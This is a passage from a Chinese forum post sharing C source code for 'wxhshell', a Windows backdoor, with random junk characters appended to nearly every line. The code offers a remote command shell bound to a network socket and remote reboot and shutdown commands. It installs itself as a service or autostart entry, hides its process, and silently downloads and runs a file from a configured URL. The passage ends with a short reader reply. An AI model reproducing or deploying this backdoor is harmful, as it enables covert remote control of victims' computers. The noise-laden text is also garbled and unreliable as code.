wQ.zj`?$(  
    switch(cmd[0]) { )Ggx  
  |7fBiVo  
  // 帮助 Br??Gdd  
  case '?': { B9-=.2.WU  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d(XWt;KK  
    break; _ji%BwJ  
  } =)bc/309  
  // 安装 U7=Z.*/62  
  case 'i': { M XQ7%G  
    if(Install()) = ByW`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jd*H$BU^  
    else mqw.v$>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /#5ZP\e  
    break; _,Y79 b6  
    } R4;6Oi)  
  // 卸载 @gz?T;EC  
  case 'r': { ~K`bl W47  
    if(Uninstall()) Az[z} r4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )-oNy-YL  
    else rz*Jmn b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #>'0C6Xn  
    break; bE"CSK#  
    } v/dcb%  
  // 显示 wxhshell 所在路径 b"b!&u  
  case 'p': { 3u<2~!sR  
    char svExeFile[MAX_PATH]; jF8ld5|_|  
    strcpy(svExeFile,"\n\r"); ?1sY S  
      strcat(svExeFile,ExeFile); %94"e7Hy  
        send(wsh,svExeFile,strlen(svExeFile),0); #s%$kYp 1  
    break; ^ z;pP  
    } Pmb`05\  
  // 重启 vvCGzOv  
  case 'b': { JI(|sAH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  o~B=[  
    if(Boot(REBOOT)) f?QD##~;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3L|k3 `I4  
    else { hSmM OS{  
    closesocket(wsh); *KAuyJr  
    ExitThread(0); $[Ns#7K  
    } 7w|s8B  
    break; joq ;N]S  
    } r|+Zni]  
  // 关机 1mqFnVkf&+  
  case 'd': { ~n?U{ RmH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )I@iW\`7  
    if(Boot(SHUTDOWN)) = j -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =0S7tNut  
    else { W7 $yE},z  
    closesocket(wsh); u|E,Wy1  
    ExitThread(0); W+vm!7wX0  
    } O7W}Z1G  
    break; i~4Kek6,I  
    } YA jk'  
  // 获取shell UOyP6ej  
  case 's': { HDYf^mcW  
    CmdShell(wsh); 2mRso.Ah  
    closesocket(wsh); <7XdT  
    ExitThread(0); .|K5b]na  
    break; -{?Rq'H  
  } lWR  
  // 退出 kDrGl{U}  
  case 'x': { D~<GVp5T  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =o {`vv  
    CloseIt(wsh); shD$,! k  
    break; pT <H&  
    } V}("8L  
  // 离开 mEA w^  
  case 'q': { ,xiRP$hGhh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WJ%b9{<  
    closesocket(wsh); 3jQ |C=   
    WSACleanup(); C]k\GlhB  
    exit(1); rpvm].4  
    break; |D\ ukml  
        } y Le5,  
  } lm+wjhkN  
  } ]2<g"zo0  
=<<\Uo  
  // 提示信息 ,yC~{ H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :F_U^pyG  
} *Hs5MXNu  
  } {uw]s< 6  
Tb}b*d3  
  return; tIg_cY_y  
} (Fu9lW}n  
$h2h&6mH  
// shell模块句柄 V3UEuA  
int CmdShell(SOCKET sock) 4)`{ L$  
{ f}fM%0/5  
STARTUPINFO si; G#csN&|,  
ZeroMemory(&si,sizeof(si)); >yaRz+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; se?nx7~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A;% fAI2Vr  
PROCESS_INFORMATION ProcessInfo; ,Rf<6/A  
char cmdline[]="cmd"; uQ{M<%K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6(eyUgnb  
  return 0; #e=[W))  
} ZqSczS7uf  
#jnb6v=5v  
// 自身启动模式 T3bBc  
int StartFromService(void) n|8fdiK#}  
{ $:>K-4X\}  
typedef struct  G=wJz  
{ s8R.?mhH=  
  DWORD ExitStatus; _- { >e  
  DWORD PebBaseAddress; rK"x92P0  
  DWORD AffinityMask; &L_(yJ~-  
  DWORD BasePriority; -?j'<g0  
  ULONG UniqueProcessId; fi1tF/ `  
  ULONG InheritedFromUniqueProcessId; SlmgFk!r!  
}   PROCESS_BASIC_INFORMATION; d}Q;CF3 m:  
#HqXC\~n  
PROCNTQSIP NtQueryInformationProcess; O Qd,.m  
h]I ^%7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *S7<QyVh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U1I2+;"#A  
"I u3&mc  
  HANDLE             hProcess; j2V^1  
  PROCESS_BASIC_INFORMATION pbi; f`T#=6C4|  
2|m461   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BjSLbw-C  
  if(NULL == hInst ) return 0; @2V#bK  
>Ka}v:E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L)kwMk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T$!. :v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 86oa>#opU  
ca5Ir<mL  
  if (!NtQueryInformationProcess) return 0; Ju# - >]  
&iez{[O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I~|.Re9a  
  if(!hProcess) return 0; ji5c0WH  
bDK72cQ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `-IX"rf  
# R}sGT  
  CloseHandle(hProcess); T:dV[3  
n2cb,b/7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )k$ +T%  
if(hProcess==NULL) return 0; DY1UP (y  
/GRkQ",  
HMODULE hMod; OF-$*  
char procName[255]; g{RVxGE7  
unsigned long cbNeeded; D5^wT>3>  
{%gMA?b|"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &]tZ6  
G*^4+^Vz?  
  CloseHandle(hProcess); "2# #Fcu=  
Dn~c  
if(strstr(procName,"services")) return 1; // 以服务启动 sN"<baZ  
m7!M stu  
  return 0; // 注册表启动 4d-f 6iiFV  
} @Jr:+|v3B  
c&X2k\  
// 主模块 ~Z-o2+xA  
int StartWxhshell(LPSTR lpCmdLine) /-s-W<S[  
{ t>Lq "]1  
  SOCKET wsl; 4h~CDy%_  
BOOL val=TRUE; KDxqz$14 -  
  int port=0; %\$~B?At  
  struct sockaddr_in door; VH M&Y-G  
i24t$7q  
  if(wscfg.ws_autoins) Install(); 2+s#5K&i  
*!NxtB!LC  
port=atoi(lpCmdLine); W-D{ cU  
#|8Ia:=s  
if(port<=0) port=wscfg.ws_port; mSeCXCrZlI  
C8Ja>o2'  
  WSADATA data; TsVU^Z%W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]"ou?ot }  
P_}wjz}9ZX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =hY9lxW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); " rA-u)Te  
  door.sin_family = AF_INET; [|&#A;{F#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); y~Z7sx0  
  door.sin_port = htons(port); #fy3 i+  
{f"oqry_g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hg7^#f95u  
closesocket(wsl); WF] |-)vw  
return 1; F ~SA3M:  
} q{Ao j  
q\Q'9Rl0(  
  if(listen(wsl,2) == INVALID_SOCKET) { X{Ij30Bmv  
closesocket(wsl); B_mT[)ut  
return 1; 4v.{C"M  
} F/ o }5H  
  Wxhshell(wsl); I >aKa  
  WSACleanup(); 7y4jk  
'D'H)J  
return 0; l#IN)">1  
b|pp}il  
} Yz)+UF,  
(}m2}  
// 以NT服务方式启动 [nA1WFfM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \AeM=K6q+D  
{ H S)$|m_  
DWORD   status = 0; X'{ o/U.  
  DWORD   specificError = 0xfffffff; fG zx;<0P!  
dWTc3@xd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; / %1-tGh  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `*WzHDv5p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X2T_}{  
  serviceStatus.dwWin32ExitCode     = 0; .cm9&&"Z  
  serviceStatus.dwServiceSpecificExitCode = 0; <!=:{&d%  
  serviceStatus.dwCheckPoint       = 0; '>cZ7:  
  serviceStatus.dwWaitHint       = 0; [}I|tb>Pg  
+#L'g c  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $px1D$F!  
  if (hServiceStatusHandle==0) return; Qe =8x7oIP  
CHyT'RT  
status = GetLastError(); V%'' GF   
  if (status!=NO_ERROR) ''($E /  
{ .=N?;i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |?v .5|1  
    serviceStatus.dwCheckPoint       = 0; %$_Y"82  
    serviceStatus.dwWaitHint       = 0; <Uu[nUJ  
    serviceStatus.dwWin32ExitCode     = status; </pt($  
    serviceStatus.dwServiceSpecificExitCode = specificError; VIaj])m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); + B<7]\\M  
    return; K5 EJ#1ov  
  } wbB\~*Z)  
z))rk vL%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;6$W-W _  
  serviceStatus.dwCheckPoint       = 0; @^%YOorr  
  serviceStatus.dwWaitHint       = 0; GX'S4B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (coaGQ@d  
} U8{^-#(Uz  
+TAyCxfmt  
// 处理NT服务事件,比如:启动、停止 f\FqZ?w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &oE'|^G  
{ _FU}IfG>t  
switch(fdwControl) /.(~=6o5  
{ *^KEb")$  
case SERVICE_CONTROL_STOP: n\< uT1n  
  serviceStatus.dwWin32ExitCode = 0; }zIWagC6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MO? }$j  
  serviceStatus.dwCheckPoint   = 0; i|0!yID0@  
  serviceStatus.dwWaitHint     = 0; hY/qMK5  
  { *TrpW?]Y&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '!`| H 3  
  } %jJIR88  
  return; TEla?N  
case SERVICE_CONTROL_PAUSE: nbW.x7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4b+_|kYb  
  break; |n;5D,r0C  
case SERVICE_CONTROL_CONTINUE: JLj b'Bn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T+PERz(  
  break; b8 1cq,  
case SERVICE_CONTROL_INTERROGATE: q;#bFPh  
  break; Y-,S_59  
}; ;I6C`N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,."wxP2u  
} (w`_{%T  
i6S["\h>  
// 标准应用程序主函数 |WNI[49  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GPx+]Jw8\  
{ 6\Tq,I7  
1ed^{Wa4$9  
// 获取操作系统版本 t*fH&8(  
OsIsNt=GetOsVer(); p&\DG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nm)/BK  
b>9?gmR{  
  // 从命令行安装 '3~m},0  
  if(strpbrk(lpCmdLine,"iI")) Install(); a p(PI?]X  
F&C< = l\X  
  // 下载执行文件 1@}<CWE9  
if(wscfg.ws_downexe) { :2+z_+k}<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sGh TP/  
  WinExec(wscfg.ws_filenam,SW_HIDE); =BbXSwv'(  
} a/3yn9`sQ  
hu7o J H  
if(!OsIsNt) { :;IZ|hU  
// 如果时win9x,隐藏进程并且设置为注册表启动 .krEfY&  
HideProc(); .yHK  
StartWxhshell(lpCmdLine); 99%R/m  
} f(\S +4  
else MwL!2r  
  if(StartFromService()) 06`caG|]-M  
  // 以服务方式启动 s2F[v:|Wq  
  StartServiceCtrlDispatcher(DispatchTable); >"z`))9  
else Zqv  
  // 普通方式启动 x_<,GE@  
  StartWxhshell(lpCmdLine); LMN`<R(q]  
7UqDPEXU]`  
return 0; crx%;R   
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八